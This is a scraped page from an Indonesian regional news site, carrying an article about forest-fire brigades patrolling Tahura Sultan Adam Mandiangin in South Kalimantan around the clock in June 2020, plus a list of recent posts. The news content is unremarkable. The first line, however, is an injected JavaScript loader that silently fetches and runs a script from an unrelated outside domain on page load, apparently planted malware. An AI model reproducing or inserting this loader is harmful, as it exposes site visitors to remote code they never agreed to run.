(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Antisipasi Kebakaran di Tahura Sultan Adam, Personel Brigdal Karhutla Patroli 24 Jam


KANALKALIMANTAN.COM, BANJARBARU – Memasuki musim kemarau dengan ancaman kebakaran lahan dan hutan di Provinsi Kalimantan Selatan (Kalsel), pemerintah daerah mewaspadai beberapa titik rawan kebakaran.

Salah satunya di kawasan Taman Hutan Raya (Tahura) Sultan Adam Mandiangin, Kabupaten Banjar. Seringkali kemunculan titik api di obyek wisata alam itu, sebagian besar disebabkan oleh kelalaian pengunjung, seperti hal membuang putung rokok yang masih menyala.

Dinas Kehutanan Provinsi Kalsel memang saat ini masih menutup kawasan Tahura Sultan Adam Mandiangin sejak merebaknya pandemi Covid-19 pada Maret lalu. Namun begitu, antisipasi munculnya titik api disebabkan faktor alam juga harus disiasati.

Sedikitnya 20 anggota brigdal karhutla akan ditempatkan Tahura Mandiangin dan kantor Resort Pengelolaan Hutan (RPH) yang memantau secara langsung selama 24 jam di lapangan.

Kepala UPT Tahura Sultan Adam Ainun Jariah mengatakan, saat ini semua harus fokus pada pencegahan karhutla. Caranya, dengan memperbanyak patroli ke titik rawan karhutla, dan mendirikan beberapa posko.

“Seperti posko induk Tahura, posko pantau di Gunung Sianjal dan Posko terpadu di setiap desa. Serta tak kalah penting, Tahura dalam waktu dekat ini sudah selesai pembentukan Masyarakat Peduli Api (MPA) berbasis desa,” ujarnya, Kamis (18/6/2020) siang.

Dalam pencegahan ini, kata Ainun, petugas brigdal diminta lebih aktif melakukan patroli pada lokasi yang disinyalir sering terjadi karhutla. Karena keberhasilan brigdal karhutla adalah dapat meminimalisir terjadi karhutla, apalagi sampai tidak ada kejadian

“Selain brigdal karhutla, juga peran serta masyarakat sangat diharapkan dalam mencegah terjadinya karhutla. Saya mengajak kita bekerja bersama dengan hati yang ikhlas dan jadilah petarung, tapi bukan pecundang,” pungkasnya. (kanalkalimantan.com/rico)

 

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.